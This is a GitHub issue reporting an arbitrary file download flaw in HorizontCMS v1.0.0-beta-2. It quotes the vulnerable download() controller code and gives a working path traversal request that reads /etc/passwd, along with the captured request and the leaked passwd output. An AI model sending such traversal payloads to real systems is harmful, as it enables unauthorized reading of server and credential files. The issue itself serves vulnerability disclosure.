

[New issue](#)
[Jump to bottom](#)

Arbitrary file download vulnerability #43

Open dota-st opened this issue on Feb 13 · 0 comments

Labels security

dota-st commented on Feb 13 • edited

Version: HorizontCMS v1.0.0-beta-2

Submit date: 2022-02-13

Description: Arbitrary file download vulnerability

```

91
92
93     public function download(){
94
95         if($this->request->has('file')){
96
97             $file = $this->request->input('file');
98
99             $headers = [
100                 'Content-Type' => 'application/*',
101             ];
102
103             return response()->download($file, basename($file), $headers);
104
105         }
106
107         return $this->redirectToSelf()->withMessage(['warning' => 'Bad request!']);
108
109     }
110
111

```

POC:

```

GET /admin/file-manager/download?
file=storage/images/header_images/../../../../../../../../etc/passwd HTTP/1.1

```

10 x ...

Send Cancel < >

Target: http://192.168.1.101 HTTP/1

Request

Pretty Raw Hex ↕ ↖ ⋮

```
1 GET /admin/file-manager/download?file=
  storage/images/header_images/../../../../../../../../etc/passwd HTTP/1.1
2 Host: 192.168.1.101
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0)
  Gecko/20100101 Firefox/95.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
  ebp,*/*;q=0.8
5 Accept-Language:
  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Referer: http://192.168.1.101/admin/login
8 Connection: close
9 Cookie: XSRF-TOKEN=
  eyJpdiiI6Ikdqb2MyWXI2VnV4aTRiT2JOSG1UK1E9PSIsInZhbHVlIjoia3ZxbG16Vz10OW8w
  VTFyN0tsdHFP0XYWnRoRm0wdmtkYUEyRGZHR29QWJqMlFEc09nSmc0dDhQT3UraVNRV3pt
  RkRmbzN3UzRfNkdU5EU0FTdzRKcmREVU240EFkNkpoTFZCNUF2VVI1MzQxWjYzTkRSUTlY
  U1F0c1IzYmBiLCJtYWMiOiI0NmY4YmU1ZjQyNDExNDANmY4ZmIzZmZjODMzZDA3Zjc4M2U4
  NGFkNTI3ZTA3Yjk5YmFiMTMwYzA3NjB4OTM0In0%3D; laravel_session=
  eyJpdiiI6Ikdqb2MyWXI2VnV4aTRiT2JOSG1UK1E9PSIsInZhbHVlIjoia3ZxbG16Vz10OW8w
  VTFyN0tsdHFP0XYWnRoRm0wdmtkYUEyRGZHR29QWJqMlFEc09nSmc0dDhQT3UraVNRV3pt
  RkRmbzN3UzRfNkdU5EU0FTdzRKcmREVU240EFkNkpoTFZCNUF2VVI1MzQxWjYzTkRSUTlY
  U1F0c1IzYmBiLCJtYWMiOiI0NmY4YmU1ZjQyNDExNDANmY4ZmIzZmZjODMzZDA3Zjc4M2U4
  NGFkNTI3ZTA3Yjk5YmFiMTMwYzA3NjB4OTM0In0%3D
10 Upgrade-Insecure-Requests: 1
11 Cache-Control: max-age=0
12
13
```

Done

0 matches

Response

Pretty Raw Hex Render ↕ ↖ ⋮

```
13 Upgrade: h2
14 Connection: Upgrade, close
15 Last-Modified: Wed, 03 Mar 2021 00:48:22 GMT
16 Vary: Accept-Encoding
17 Content-Length: 2687
18 Content-Type: application/*
19
20 root:x:0:0:root:/root:/bin/bash
21 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
22 bin:x:2:2:bin:/bin:/usr/sbin/nologin
23 sys:x:3:3:sys:/dev:/usr/sbin/nologin
24 sync:x:4:65534:sync:/bin:/bin/sync
25 games:x:5:60:games:/usr/games:/usr/sbin/nologin
26 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
27 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
28 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
29 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
30 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
31 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
32 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
33 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
34 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
35 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
36 gnats:x:41:41:Gnats Bug-Reporting System
  (admin):/var/lib/gnats:/usr/sbin/nologin
37 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
38 systemd-network:x:100:102:systemd Network
  Management,,,:/run/systemd/netif:/usr/sbin/nologin
39 systemd-resolve:x:101:103:systemd
  Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
40 syslog:x:102:106::/home/syslog:/usr/sbin/nologin
```

0 matches

4,076 bytes | 215 millis



ttimot24 added the security label on Feb 22

Assignees

No one assigned

Labels

security

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

